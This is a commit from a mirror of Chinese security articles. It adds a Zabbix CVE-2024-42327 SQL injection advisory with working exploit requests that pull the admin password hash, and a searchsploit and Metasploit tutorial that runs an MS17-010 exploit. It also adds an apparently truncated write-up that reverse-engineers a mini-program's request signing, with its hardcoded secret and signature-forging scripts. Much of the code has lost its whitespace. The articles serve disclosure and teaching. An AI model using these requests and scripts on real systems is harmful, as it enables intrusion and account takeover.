mirror of
https://github.com/gelusus/wxvl.git
synced 2026-10-29 03:40:51 +00:00
CVE-2024-42327 Zabbix 严重漏洞POC已公开!、单兵漏洞测试工具 -- Yakit、sign加密小程序漏洞挖掘、【漏洞预警】Dell NetWorker权限提升漏洞(CVE-2024-42422)、searchsploit漏洞辅助利用工具、自助彩票机成“提款机”?3人利用系统漏洞窃取220余万元、荣获最佳实践案例,网易易盾发力央国企合规内控数字化、【珍藏版】渗透测试手册,简直太赞了!、
This commit is contained in:
1 parent
b4c27ff5af
commit
5312f285dd
9 files changed
+1354
-1
No files matched your search
@@ -913,5 +913,13 @@
|
||||
"https://mp.weixin.qq.com/s?__biz=MzIzOTM2MzczNQ==&mid=2247485166&idx=1&sn=cf85ddc0f463107ad7165d7fd89bbed6": "漏洞推送|某空WMS-仓储精细化管理系统 SaveCrash.ashx存在文件上传漏洞",
|
||||
"https://mp.weixin.qq.com/s?__biz=MjM5NTc2MDYxMw==&mid=2458585295&idx=3&sn=e84b92c130bef5ae24d71d72283bd86e": "CTF训练营-Web篇 更新: 反序列化漏洞-Phar反序列化和字符串逃逸",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxMDc0MTc5Mw==&mid=2247483778&idx=1&sn=617673eea861e0f39c1b0c1f5e976558": "【免杀+钓鱼】钓鱼页面搭建+免杀捆绑拿shell",
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2MDU5NjI0Mw==&mid=2247490281&idx=1&sn=d685ffad16184b8e941bb837dcc4caa2": "【12月Huo力全开】LLSRC全线漏洞2倍积分奖励!"
|
||||
"https://mp.weixin.qq.com/s?__biz=Mzg2MDU5NjI0Mw==&mid=2247490281&idx=1&sn=d685ffad16184b8e941bb837dcc4caa2": "【12月Huo力全开】LLSRC全线漏洞2倍积分奖励!",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkwODI1ODgzOA==&mid=2247506250&idx=1&sn=65c3600e701ae88d87981315807f4d12": "CVE-2024-42327 Zabbix 严重漏洞POC已公开!",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI4MDQ5MjY1Mg==&mid=2247515040&idx=1&sn=9a0c97b9ff7c9ac20e790864231ba0f7": "单兵漏洞测试工具 -- Yakit",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzU3NzY3MzYzMw==&mid=2247498804&idx=1&sn=7b4841d81ea301d1b204b069ffc9250b": "sign加密小程序漏洞挖掘",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI3NzMzNzE5Ng==&mid=2247489258&idx=1&sn=37b588ec3a46cd041f49cdc24390fdd6": "【漏洞预警】Dell NetWorker权限提升漏洞(CVE-2024-42422)",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzA3NTc0MTA1Mg==&mid=2664712099&idx=1&sn=61a72f188755066a11d2bbfb63a06708": "searchsploit漏洞辅助利用工具",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzI5NTM4OTQ5Mg==&mid=2247632675&idx=2&sn=9836ac0b7ae06ac3f5be960a95f43789": "自助彩票机成“提款机”?3人利用系统漏洞窃取220余万元",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzAwNTg2NjYxOA==&mid=2650741919&idx=1&sn=3772fbe77afe8d68f005323e2f90c803": "荣获最佳实践案例,网易易盾发力央国企合规内控数字化",
|
||||
"https://mp.weixin.qq.com/s?__biz=MzkxMzMyNzMyMA==&mid=2247567953&idx=2&sn=47f141df1d0d634de4d06cf53e6c7b61": "【珍藏版】渗透测试手册,简直太赞了!"
|
||||
}
|
||||
@@ -0,0 +1,114 @@
|
||||
# CVE-2024-42327 Zabbix 严重漏洞POC已公开!
|
||||
原创 一个不正经的黑客 一个不正经的黑客 2024-12-03 16:01
|
||||
|
||||
# CVE-2024-42327 Zabbix API SQL注入漏洞公开POC
|
||||
## 漏洞情况
|
||||
|
||||
官方通报:
|
||||
|
||||
https://support.zabbix.com/browse/ZBX-25623
|
||||
|
||||
漏洞类型:
|
||||
|
||||
SQL 注入(SQL Injection, CWE-89);
|
||||
|
||||
漏洞编号:CVE-2024-42327;
|
||||
|
||||
严重性等级:Critical(严重);
|
||||
|
||||
CVSS 分数:9.9;
|
||||
|
||||
影响范围:Zabbix 6.0.0 至 6.0.31、Zabbix 6.4.0 至 6.4.16、Zabbix 7.0.0;
|
||||
|
||||
修复版本:6.0.32rc1、6.4.17rc1、7.0.1rc1
|
||||
|
||||

|
||||
|
||||
## 漏洞描述
|
||||
|
||||
在 Zabbix 前端,具有默认“用户”(User)角色或其他具备 API 访问权限的非管理员用户,可以利用该漏洞发起攻击。
|
||||
|
||||
SQL 注入存在于 CUser 类的 addRelatedObjects 函数中,而该函数由 CUser.get API 调用。
|
||||
|
||||
由于所有具备 API 访问权限的用户均可调用 CUser.get,导致低权限用户能够注入恶意 SQL 语句,进而实现权限提升、敏感信息访问或其他更严重的攻击行为
|
||||
## 漏洞成因
|
||||
|
||||
漏洞源于 addRelatedObjects 函数对输入参数的处理不当,未对传入的 SQL 查询参数进行充分验证。
|
||||
|
||||
攻击者可以通过 CUser.get API,构造恶意请求注入 SQL 语句。
|
||||
## 利用条件
|
||||
|
||||
攻击者需要具备 API 访问权限,默认情况下 Zabbix 前端的“用户”角色即可满足条件,因此漏洞利用门槛较低。
|
||||
## 攻击后果
|
||||
|
||||
权限提升:低权限用户可通过注入 SQL,访问到管理员权限账号的数据或其他敏感信息。
|
||||
|
||||
数据泄露:攻击者可利用注入的 SQL 查询数据库内容,窃取关键信息。
|
||||
|
||||
系统入侵:攻击者可能通过注入恶意 SQL 语句,执行进一步的持久化攻击或破坏操作。
|
||||
## 官方响应
|
||||
|
||||
该漏洞由安全研究员 Márk Rákóczi(HackerOne 平台用户“reeeeeeeeeeee”)报告,已在以下版本中修复:6.0.32rc1、6.4.17rc1、7.0.1rc1, 漏洞修复的版本信息在 2024 年 11 月 27 日公开,建议用户尽快升级到修复版本!
|
||||
## POC 公开
|
||||
|
||||
目前POC已经公开,由于目前公众号的后台程序运行异常,需要的朋友可以自行去取:
|
||||
|
||||
https://github.com/aramosf/cve-2024-42327
|
||||
|
||||
**1. 登录请求 (Login Request)**
|
||||
|
||||
**请求方法**
|
||||
: POST
|
||||
|
||||
**URL**
|
||||
: http://<目标地址>/api_jsonrpc.php
|
||||
|
||||
**请求体**
|
||||
:
|
||||
```
|
||||
1{2 "jsonrpc": "2.0",3 "method": "user.login",4 "params": {5 "username": "aramosf",6 "password": "Hola1234"7 },8 "id": 19}
|
||||
```
|
||||
|
||||
**响应示例**
|
||||
:
|
||||
```
|
||||
1{2 "jsonrpc": "2.0",3 "result": "cfb2be2d7aa9a8b432c5db2a19cd7f73",4 "id": 15}
|
||||
```
|
||||
|
||||
响应中 result 字段的值 (cfb2be2d7aa9a8b432c5db2a19cd7f73) 是会话令牌 (session token),用于后续的 API 请求。
|
||||
|
||||
**2. 获取用户信息请求 (Fetch User Details Request)**
|
||||
|
||||
**请求方法**
|
||||
: POST
|
||||
|
||||
**URL**
|
||||
: http://<目标地址>/api_jsonrpc.php
|
||||
|
||||
**请求体**
|
||||
:
|
||||
```
|
||||
1{2 "jsonrpc": "2.0",3 "method": "user.get",4 "params": {5 "selectRole": ["roleid, u.passwd", "roleid"],6 "userids": "1"7 },8 "auth": "cfb2be2d7aa9a8b432c5db2a19cd7f73",9 "id": 110}
|
||||
```
|
||||
|
||||
**响应示例**
|
||||
:
|
||||
```
|
||||
1{2 "jsonrpc": "2.0",3 "result": [4 {5 "userid": "1",6 "username": "Admin",7 "name": "System",8 "surname": "Administrator",9 "role": {10 "passwd": "d41d8cd98f00b204e9800998ecf8427e"11 }12 }13 ],14 "id": 115}
|
||||
```
|
||||
|
||||
**攻击流程总结**
|
||||
|
||||
1.**登录获取令牌**
|
||||
: 攻击者首先利用 user.login 方法,通过提供合法的用户名和密码,获得会话令牌。
|
||||
|
||||
2.**批量请求用户信息**
|
||||
: 使用 user.get 方法,枚举用户 ID 并提取相关用户详细信息。
|
||||
|
||||
3.**攻击数据分析**
|
||||
: 响应中的数据可能包含敏感信息(如用户名、哈希密码等),攻击者可以进一步尝试破解密码或分析用户权限。
|
||||
## 漏洞点评
|
||||
|
||||
CVSS 9.9 评分的漏洞,利用条件较低,建议及时排查修复升级到修复版本。
|
||||
|
||||
|
||||
@@ -0,0 +1,334 @@
|
||||
# searchsploit漏洞辅助利用工具
|
||||
原创 simeon的文章 小兵搞安全 2024-12-03 15:04
|
||||
|
||||
在提权过程中需要通过掌握的信息来对系统、软件等存在的漏洞进行搜索,获取其利用的poc,通过编译后,实施提权。searchsploit提供漏洞本地和在线查询,是渗透测试中提权的重要武器。
|
||||
### 1.1searchsploit简介
|
||||
|
||||
Exploit Database(https://github.com/offensive-security/exploit-database)这是Offensive Security(https://www.offensive-security.com/)赞助的一个项目。存储了大量的漏洞利用程序,可以帮助安全研究者和渗透测试工程师更好的进行安全测试工作,目前是世界上公开收集漏洞最全的数据库,该仓库每天都会更新,exploit-db提供searchsploit利用files.csv进行搜索离线漏洞库文件的位置。searchsploit 是一个用于搜索 Exploit-DB 数据库中已知漏洞利用代码和安全工具的命令行工具。它是由 Offensive Security(Kali Linux 背后的公司)开发的,是 Kali Linux 发行版的一部分,但也可以在其他 Linux 发行版上安装和使用。
|
||||
### 1.2searchsploit下载、安装及更新
|
||||
|
||||
1.
|
||||
下载
|
||||
|
||||
https://codeload.github.com/offensive-security/exploit-database/zip/master
|
||||
|
||||
git
|
||||
当前目录:
|
||||
|
||||
git clone
|
||||
https://github.com/offensive-security/exploit-database.git
|
||||
|
||||
git
|
||||
到
|
||||
/opt/exploit-database
|
||||
|
||||
git clone https://github.com/offensive-security/exploit-database.git /opt/exploit-database
|
||||
|
||||
2.
|
||||
安装
|
||||
|
||||
(
|
||||
1
|
||||
)
|
||||
centos
|
||||
安装:
|
||||
yum install exploitdb
|
||||
|
||||
(
|
||||
2
|
||||
)
|
||||
MacOS
|
||||
安装:
|
||||
brew update && brew install exploitdb
|
||||
|
||||
(
|
||||
3
|
||||
)
|
||||
kali
|
||||
安装:
|
||||
apt update && apt -y install exploitdb
|
||||
|
||||
使用命令关联
|
||||
searchsploit
|
||||
:
|
||||
|
||||
|
||||
ln -sf /opt/exploit-database/searchsploit
|
||||
|
||||
/usr/local/bin/searchsploit
|
||||
|
||||
3.
|
||||
更新
|
||||
|
||||
searchsploit
|
||||
|
||||
–u
|
||||
### 1.3searchsploit语法
|
||||
|
||||
1.
|
||||
用法
|
||||
|
||||
searchsploit [选项] term1 [term2] ... [termN]
|
||||
|
||||
选项:
|
||||
|
||||
-c, --case [关键词] 进行大小写敏感的搜索(默认为不区分大小写)
|
||||
|
||||
-e, --exact [关键词] 对漏洞标题进行精确匹配和顺序匹配(默认为每个词的AND匹配)[隐含"-t"]
|
||||
|
||||
例如:"WordPress 4.1" 不会匹配 "WordPress Core 4.1"
|
||||
|
||||
-s, --strict 进行严格搜索,输入值必须存在,禁用版本范围的模糊搜索
|
||||
|
||||
例如:"1.1" 不会被检测为 "1.0 < 1.3"
|
||||
|
||||
-t, --title [关键词] 仅搜索漏洞标题(默认为标题和文件路径的AND匹配)
|
||||
|
||||
--exclude="关键词" 从结果中移除某些值。使用 "|" 分隔多个值
|
||||
|
||||
例如:--exclude="term1|term2|term3"
|
||||
|
||||
--cve [CVE] 搜索通用漏洞披露(CVE)值
|
||||
|
||||
输出
|
||||
|
||||
-j, --json [关键词] 以JSON格式显示结果
|
||||
|
||||
-o, --overflow [关键词] 允许漏洞标题超出列宽
|
||||
|
||||
-p, --path [EDB-ID] 显示漏洞的完整路径(如果可能还会复制路径到剪贴板)
|
||||
|
||||
-v, --verbose 在输出中显示更多信息
|
||||
|
||||
-w, --www [关键词] 显示指向 Exploit-DB.com 的URL而不是本地路径
|
||||
|
||||
--id 显示 EDB-ID 值而不是本地路径
|
||||
|
||||
--disable-colour 禁用搜索结果中的颜色高亮
|
||||
|
||||
非搜索操作
|
||||
|
||||
-m, --mirror [EDB-ID] 将漏洞镜像(即复制)到当前工作目录
|
||||
|
||||
-x, --examine [EDB-ID] 使用 $PAGER 查看漏洞
|
||||
|
||||
非搜索操作
|
||||
|
||||
-h, --help 显示此帮助屏幕
|
||||
|
||||
-u, --update 检查并安装任何 exploitdb 包更新(brew、deb 和 git)
|
||||
|
||||
--nmap [file.xml] 检查 Nmap XML 输出中的所有结果与服务版本
|
||||
|
||||
例如:nmap [主机] -sV -oX file.xml
|
||||
|
||||
注意事项:
|
||||
|
||||
(1)可以使用任意数量的搜索词
|
||||
|
||||
(2)默认情况下,搜索词不区分大小写,顺序无关紧要,并将在版本范围内进行搜索
|
||||
|
||||
(3)如果希望减少结果数量,可以通过 '-c' 进行大小写敏感搜索
|
||||
|
||||
(4)或者通过 '-e' 使用精确匹配来过滤结果
|
||||
|
||||
(5)或者通过 '-s' 查找精确版本匹配
|
||||
|
||||
(6)使用 '-t' 排除文件路径以过滤搜索结果移除误报(特别是使用数字搜索时,如版本号)
|
||||
|
||||
(7)使用 '--nmap' 时,添加 '-v'(详细),它将搜索更多的组合
|
||||
|
||||
2.使用实例
|
||||
|
||||
(1)更新searchsploit
|
||||
|
||||
sudo searchsploit -u
|
||||
|
||||
执行后searchsploit -u,searchsploit会更新漏洞库到最新版本,如图1所示。
|
||||
|
||||

|
||||
|
||||
|
||||
图1 更新
|
||||
searchsploit漏洞库
|
||||
|
||||
(2)查看帮助
|
||||
|
||||
searchsploit -h
|
||||
|
||||
(3)搜索漏洞关键字afd的Windows本地利用漏洞
|
||||
|
||||
searchsploit afd windows local
|
||||
|
||||
搜索结果如图2所示。
|
||||
|
||||

|
||||
|
||||
图2 搜索
|
||||
afd的Windows本地利用漏洞
|
||||
|
||||
(4)搜索标题中包含oracle windows的漏洞
|
||||
|
||||
searchsploit -t oracle windows
|
||||
|
||||

|
||||
|
||||
|
||||
(5)搜索漏洞号为39446的漏洞
|
||||
|
||||
searchsploit -p 39446
|
||||
|
||||

|
||||
|
||||
|
||||
(6)排除dos以及PoC值的包含linux kernel 3.2的漏洞
|
||||
|
||||
searchsploit linux kernel 3.2 --exclude="(PoC)|/dos/"
|
||||
|
||||

|
||||
|
||||
|
||||
(7)查找mssql的漏洞
|
||||
|
||||
searchsploit mssql
|
||||
|
||||
(8)查找和window XP有关的漏洞
|
||||
|
||||
searchsploit /xp
|
||||
|
||||

|
||||
|
||||
|
||||
(9)查找apple的漏洞
|
||||
|
||||
searchsploit apple
|
||||
|
||||
1.4searchsploit 配合msf使用
|
||||
|
||||
在使用searchsploit搭配Metasploit Framework (MSF)时,可以利用searchsploit找到漏洞和exploit,然后将其载入到MSF中以便进一步的利用和测试。单独的searchsploit使用起来不方便,虽然搜索会出来很多结果,包括利用代码,但没有对其进行整合,有些代码需要安装对应的模块才能使用,否则会报错。
|
||||
|
||||
1.使用search及searchsploit查找漏洞
|
||||
|
||||
searchsploit ms17-010
|
||||
|
||||
search ms17-010
|
||||
|
||||

|
||||
|
||||
2.将search找到的exploit载入到MSF
|
||||
|
||||
(1)从结果中选择一个最佳(great)的来载入。
|
||||
|
||||
use exploit/windows/smb/smb_doublepulsar_rce
|
||||
|
||||
(2)show options
|
||||
|
||||

|
||||
|
||||
|
||||
(3)设置参数
|
||||
|
||||
set RHOSTS 192.168.10.1
|
||||
|
||||
set lhost 192.168.1.1
|
||||
|
||||
exploit
|
||||
|
||||

|
||||
|
||||
|
||||
这里仅仅是演示search漏洞跟msf的配置,实际测试中需要配置真实可用的lhost及rhosts地址。
|
||||
### 1.5技巧
|
||||
|
||||
1.
|
||||
查询关键字采取
|
||||
AND
|
||||
运算
|
||||
|
||||
SearchSploit
|
||||
使用
|
||||
AND
|
||||
运算符,而不是
|
||||
OR
|
||||
运算符。使用的术语越多,滤除的结果越多。
|
||||
|
||||
2.
|
||||
使用名称搜索时尽量使用全称
|
||||
|
||||
3.
|
||||
使用“
|
||||
-t
|
||||
”选项
|
||||
|
||||
默认情况下,
|
||||
searchsploit
|
||||
将检查该漏洞利用的标题以及该路径。根据搜索条件,这可能会导致误报(特别是在搜索与平台和版本号匹配的术语时),使用“
|
||||
-t
|
||||
”选项去掉多余数据。例如
|
||||
searchsploit -t oracle windows
|
||||
显示
|
||||
7
|
||||
行数据而
|
||||
searchsploit
|
||||
|
||||
|
||||
oracle windows |wc –l
|
||||
显示
|
||||
90
|
||||
行数据。
|
||||
|
||||
4.
|
||||
在线搜索
|
||||
exploit-db.com
|
||||
中的关键字漏洞
|
||||
|
||||
searchsploit
|
||||
|
||||
WarFTP 1.65 -w
|
||||
|
||||
5.
|
||||
搜索微软漏洞
|
||||
|
||||
|
||||
搜索微软
|
||||
2014
|
||||
年的所有漏洞,关键字可以
|
||||
ms14
|
||||
,
|
||||
ms15
|
||||
,
|
||||
ms16
|
||||
,
|
||||
ms17
|
||||
|
||||
searchsploit MS14
|
||||
|
||||
6.查看漏洞详细信息
|
||||
|
||||
searchsploit linux/local/21158.c -x
|
||||
|
||||

|
||||
|
||||
### 1.6SearchSploit-GUI版本
|
||||
|
||||
也有安全爱好者将SearchSploit整合成图形界面,不过该版本仅仅适合mac版本,下载地址:
|
||||
|
||||
https://github.com/tibOin/SearchSploit-GUI。
|
||||
|
||||
1.执行搜索
|
||||
|
||||
运行后,直接搜索mysql udf,如图所示。
|
||||
|
||||

|
||||
|
||||
|
||||
2.查看Exploit详细信息
|
||||
|
||||
双击搜索的记录,即可查看详细信息,如图所示。
|
||||
|
||||

|
||||
|
||||
最近有些小忙,经济形势依然不乐观,在别人悲观时要保持乐观,积极学习,准备,防止被裁掉。以不变应万变。每天进步一点点,积少成多。另有喜欢安全研究和交流的朋友,可以加微信lovesec2022拉群进行交流。
|
||||
|
||||
|
||||
|
||||
@@ -0,0 +1,416 @@
|
||||
# sign加密小程序漏洞挖掘
|
||||
eeknight 网络安全者 2024-12-03 16:00
|
||||
|
||||
## 前言
|
||||
|
||||
通过本篇论文,你可以了解两个知识点:
|
||||
1. sign加密解密
|
||||
|
||||
1. 小程序漏洞挖掘
|
||||
|
||||
## 漏洞发现
|
||||
|
||||
注册的时候点击一个获取手机号
|
||||
|
||||

|
||||
|
||||
这里通过burp可以看到微信小程序获取手机号的三个关键参数,decryptData,sessionKey和iv。
|
||||
|
||||
正常情况是只有decryptData和iv,如果看到sessionKey基本就是一个任意登录漏洞了。
|
||||
|
||||
正常的小程序在获取微信提供的用户数据的时候通过sessionKey来提供甲基咪,这个sessionKey就是会话密钥,可以简单理解为微信开放数据AES加密的密钥,它是微信服务器给开发者服务器颁发的身份凭证,这个数据正常来说是不能通过任何方式泄露出去的。
|
||||
|
||||

|
||||
|
||||
首先我们通过burp的插件sessionkey crypt解密一下
|
||||
|
||||

|
||||
|
||||
但是这里存在一个问题,这里存在sign值的验证
|
||||
|
||||

|
||||
|
||||
那现成的漏洞我们拿不到,接下来我们要通过逆向去吧sign的值解密出来,看看加密逻辑然后重新实现。
|
||||
## sign解密
|
||||
### 减法操作
|
||||
|
||||
在测试加密的时候,首先要做减法,看看影响sign的参数有哪些。
|
||||
|
||||
首先发送一个正常数据包
|
||||
|
||||

|
||||
|
||||
现在可以发送,我一点点减少
|
||||
|
||||

|
||||
|
||||
如果再减少一行的话(我这里删除了App_type: 3,不管是哪一个都是这样),会出现”公共请求Head参数缺失。”
|
||||
|
||||

|
||||
|
||||
这里可以思考一下,还可以减少吗?
|
||||
|
||||
其实是可以的,我们刚才减少的是参数,如果我不去参数,我去掉参数的值呢,某一些参数是可以删除的,这里通过这个,我们可以进一步判断sign的影响值是哪个。
|
||||
|
||||

|
||||
|
||||
现在我们可以判断,影响sign的值有key,Timestamp和数据包。
|
||||
|
||||
接下来我们再少一点,找一个没有传输数据的数据包做测试。
|
||||
|
||||

|
||||
|
||||
这里的影响就只有key和sign了。
|
||||
### 反汇编
|
||||
|
||||
找到减法了,接下里就是小程序反汇编,首先这里的sign是32为,很想md5,小程序反汇编后直接找关键词,md5,sign,encode等等。
|
||||
|
||||

|
||||
|
||||

|
||||
|
||||
在md5的时候看到一个sign加密,而且还是用HmacMD5的,看一下这个代码。
|
||||
```
|
||||
…..
|
||||
sign: function(e, t, n) {
|
||||
varr=n(“7123”),
|
||||
o=n(“8664”);
|
||||
n(“5622”),
|
||||
n(“3524”);
|
||||
vari=”B272F43387B8504C”,
|
||||
a=”weixin”,
|
||||
s=”70BAE8B491362AB39042B77C7653199D”;
|
||||
functionu(e, t) {
|
||||
returnt.key<e.key?-1 : t.key>e.key?1 : 0
|
||||
}
|
||||
e.exports= {
|
||||
signRequest: function(e) {
|
||||
e=e|| {};
|
||||
vart= {},
|
||||
n= (newDate).valueOf() +6e4;
|
||||
t.timestamp=n,
|
||||
t.key=i,
|
||||
t.app_type=3,
|
||||
t.OS_type=3,
|
||||
t.device_id=a,
|
||||
o.HmacMD5(s, n+””).toString(o.enc.Hex).substring(8, 24).toUpperCase();
|
||||
varc= [],
|
||||
l=”object”===r(e) &&”number”==typeofe.length;
|
||||
for (varfine) {
|
||||
vard=f;
|
||||
l&& (d=e[f].key),
|
||||
l?c.push(e[f]) : “object”===r(e[d]) ||c.push({
|
||||
key: d,
|
||||
value: e[d]
|
||||
})
|
||||
}
|
||||
c.push({
|
||||
key: “timestamp”,
|
||||
value: n
|
||||
}),
|
||||
c.push({
|
||||
key: “key”,
|
||||
value: i
|
||||
}),
|
||||
c=c.sort(u);
|
||||
varh=””;
|
||||
for (varfinc) if ((d=c[f]).valueinstanceofArray) for (varpind.value) {
|
||||
varg=d.value[p];
|
||||
h+=d.key,
|
||||
h+=g
|
||||
} elseh+=d.key,
|
||||
h+=d.value;
|
||||
varv=o.HmacMD5(h+s, n+””).toString().toUpperCase();
|
||||
returnt.sign=v,
|
||||
t
|
||||
},
|
||||
test: function() {
|
||||
o.HmacMD5(“timestamp1555661061471searchType2keyB272F43387B8504C70BAE8B491362AB39042B77C7653199D”, “1555661061471”).toString().toUpperCase()
|
||||
}
|
||||
}
|
||||
},
|
||||
…..
|
||||
```
|
||||
|
||||
这里有一个误导的趋势,下面的demo函数里面有一个测试值,我们可以看到
|
||||
|
||||
varv=o.HmacMD5(h+s, n+””).toString().toUpperCase();
|
||||
|
||||
这里是用h和s,用n作为秘钥加密的,s是secret的值,是固定的s = “70BAE8B491362AB39042B77C7653199D”;
|
||||
|
||||
h前面的说法是h += d.value;也就是d的值相加
|
||||
```
|
||||
c.push({
|
||||
key: “timestamp”,
|
||||
value: n
|
||||
}),
|
||||
c.push({
|
||||
key: “key”,
|
||||
value: i
|
||||
}),
|
||||
c=c.sort(u);
|
||||
varh=””;
|
||||
for (varfinc) if ((d=c[f]).valueinstanceofArray) for (varpind.value) {
|
||||
varg=d.value[p];
|
||||
h+=d.key,
|
||||
h+=g
|
||||
} elseh+=d.key,
|
||||
h+=d.value;
|
||||
```
|
||||
|
||||
|
||||
我们看到key和timestamp,结合我们刚才的无参数的值,再看看demo里面的
|
||||
|
||||
o.HmacMD5(“timestamp1555661061471searchType2keyB272F43387B8504C70BAE8B491362AB39042B77C7653199D”, “1555661061471”).toString().toUpperCase()
|
||||
|
||||
HmacMD5(timestamp+timestamp的值+searchType2[不知道干什么用的]+key+key的值+secret)再用时间戳作为秘钥
|
||||
|
||||
这里的误区就是searchType2,刚开始我以为他有用,发现死活加密不出来,后面不用这个值,直接加密发现就可以了。
|
||||
|
||||
无传输数据的数据包
|
||||
```
|
||||
Os_type:
|
||||
App_type:
|
||||
Device_id:
|
||||
Key: B272F43387B8504C
|
||||
Sign: 73A8C93DC2A4CA79A8897879DDF54EA7
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Timestamp: 1719387012630
|
||||
Connection: close
|
||||
Content-Length: 2
|
||||
{}
|
||||
加密脚本
|
||||
importhmac
|
||||
importhashlib
|
||||
key = “B272F43387B8504C”;
|
||||
timestamp = 1719387012630;
|
||||
timestamp = str(timestamp)
|
||||
secret = “70BAE8B491362AB39042B77C7653199D”;
|
||||
str1 = ‘timestamp’+timestamp+’key’+key+secret
|
||||
mac = hmac.new(key=timestamp.encode(), msg=str1.encode(),digestmod=hashlib.md5)
|
||||
mac.digest()
|
||||
str_encode = mac.hexdigest().upper()
|
||||
print(str_encode)
|
||||
# 73A8C93DC2A4CA79A8897879DDF54EA7
|
||||
```
|
||||
|
||||
|
||||
首次加密没问题了,接下来是有参数的,我找了一个只有一个参数的
|
||||
|
||||

|
||||
|
||||
刚才是直接拼接,再仔细看一下有一个排序操作c = c.sort(u);
|
||||
,从demo的timestamp—>searchType—>key,想着会不会是以ZYXWVUTSRQPONMLKJIHGFEDCBA排序,按这个思路,我把addressCode放到key的前面加密
|
||||
```
|
||||
Os_type:
|
||||
App_type:
|
||||
Device_id:
|
||||
Key: B272F43387B8504C
|
||||
Sign: 285F822334E8978E25D92D8975A3479C
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
Timestamp: 1719387013084
|
||||
Connection: close
|
||||
Content-Length: 13
|
||||
addressCode=2
|
||||
输出脚本
|
||||
importhmac
|
||||
importhashlib
|
||||
key = “B272F43387B8504C”;
|
||||
timestamp = 1719387013084;
|
||||
timestamp = str(timestamp)
|
||||
secret = “70BAE8B491362AB39042B77C7653199D”;
|
||||
addressCode = “2”
|
||||
str1 = ‘timestamp’+timestamp+’key’+key+”addressCode”+addressCode+secret
|
||||
mac = hmac.new(key=timestamp.encode(), msg=str1.encode(),digestmod=hashlib.md5)
|
||||
mac.digest()
|
||||
str_encode = mac.hexdigest().upper()
|
||||
print(str_encode)
|
||||
# 285F822334E8978E25D92D8975A3479C
|
||||
```
|
||||
|
||||
|
||||
所以思路就是把所有参数按字母排序然后加密出来,对于多个参数,这里是通过键值对的反思。
|
||||
```
|
||||
for (var f in c) if ((d = c[f]).value instanceof Array) for (var p in d.value) {
|
||||
var g = d.value[p];
|
||||
h += d.key,
|
||||
h += g
|
||||
}
|
||||
```
|
||||
|
||||
|
||||
把数据包的按=号前后提取分配,回到sessionkey来,测试sign的加密方式,这里在测试的时候发现直接进行url解密的时候会出现报错。
|
||||
|
||||

|
||||
|
||||
在处理加密的逻辑的时候,先按前面逻辑处理一下
|
||||
```
|
||||
Content-Length: 318
|
||||
Os_type:
|
||||
Key: B272F43387B8504C
|
||||
Sign: 03E03380485A6FE4BA9FFFD0AE555C42
|
||||
Device_id:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
App_type:
|
||||
Timestamp: 1719387015597
|
||||
Connection: close
|
||||
decryptData=lGtijwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxWYPYgR6HiHFQmMYV0uOQ%3D%3D&sessionKey=sRfHDswxxxxxxxxxxxx%3D%3D&iv=RpwxxxxxxxxxxxxzPQyTA%3D%3D
|
||||
importhmac
|
||||
importhashlib
|
||||
key = “B272F43387B8504C”;
|
||||
timestamp = 1719387015597;
|
||||
timestamp = str(timestamp)
|
||||
secret = “70BAE8B491362AB39042B77C7653199D”;
|
||||
decryptData = “lGtijwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxWYPYgR6HiHFQmMYV0uOQ”
|
||||
sessionKey = “sRfHDswxxxxxxxxxxxx%3D%3D”
|
||||
iv = “RpwxxxxxxxxxxxxzPQyTA%3D%3D”
|
||||
str1 = ‘timestamp’+timestamp+’sessionKey’+sessionKey+’key’+key+’iv’+iv+”decryptData”+decryptData+secret
|
||||
mac = hmac.new(key=timestamp.encode(), msg=str1.encode(),digestmod=hashlib.md5)
|
||||
mac.digest()
|
||||
str_encode = mac.hexdigest().upper()
|
||||
print(str_encode)
|
||||
#EEDB56B05B83B1A2D1660509F6387A06
|
||||
```
|
||||
|
||||
|
||||
这里是思考为什么报错,然后想着会不会是url解码问题,我在处理sign加密的时候加一个url解码,发现就可以了
|
||||
```
|
||||
importhmac
|
||||
importhashlib
|
||||
importurllib.parse
|
||||
fromurllib.parseimportunquote
|
||||
key = “B272F43387B8504C”;
|
||||
timestamp = 1719387015597;
|
||||
timestamp = str(timestamp)
|
||||
secret = “70BAE8B491362AB39042B77C7653199D”;
|
||||
decryptData = “lGtijwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxwxxxxxxxxxxxxWYPYgR6HiHFQmMYV0uOQ”
|
||||
sessionKey = “sRfHDswxxxxxxxxxxxx%3D%3D”
|
||||
iv = “RpwxxxxxxxxxxxxzPQyTA%3D%3D”
|
||||
str1 = ‘timestamp’+timestamp+’sessionKey’+urllib.parse.unquote(sessionKey) +’key’+key+’iv’+urllib.parse.unquote(iv) +”decryptData”+urllib.parse.unquote(decryptData) +secret
|
||||
mac = hmac.new(key=timestamp.encode(), msg=str1.encode(),digestmod=hashlib.md5)
|
||||
mac.digest()
|
||||
str_encode = mac.hexdigest().upper()
|
||||
print(str_encode)
|
||||
#03E03380485A6FE4BA9FFFD0AE555C42
|
||||
现在sign值已经解密出来了,这样一步步写太麻烦了,就改进一下脚本。
|
||||
importhmac
|
||||
importhashlib
|
||||
importurllib.parse
|
||||
fromurllib.parseimportunquote
|
||||
request_data = f”””
|
||||
Content-Length: 318
|
||||
Os_type:
|
||||
Key: B272F43387B8504C
|
||||
Sign: 03E03380485A6FE4BA9FFFD0AE555C42
|
||||
Device_id:
|
||||
Content-Type: application/x-www-form-urlencoded
|
||||
App_type:
|
||||
Timestamp: 1719387015597
|
||||
Connection: close
|
||||
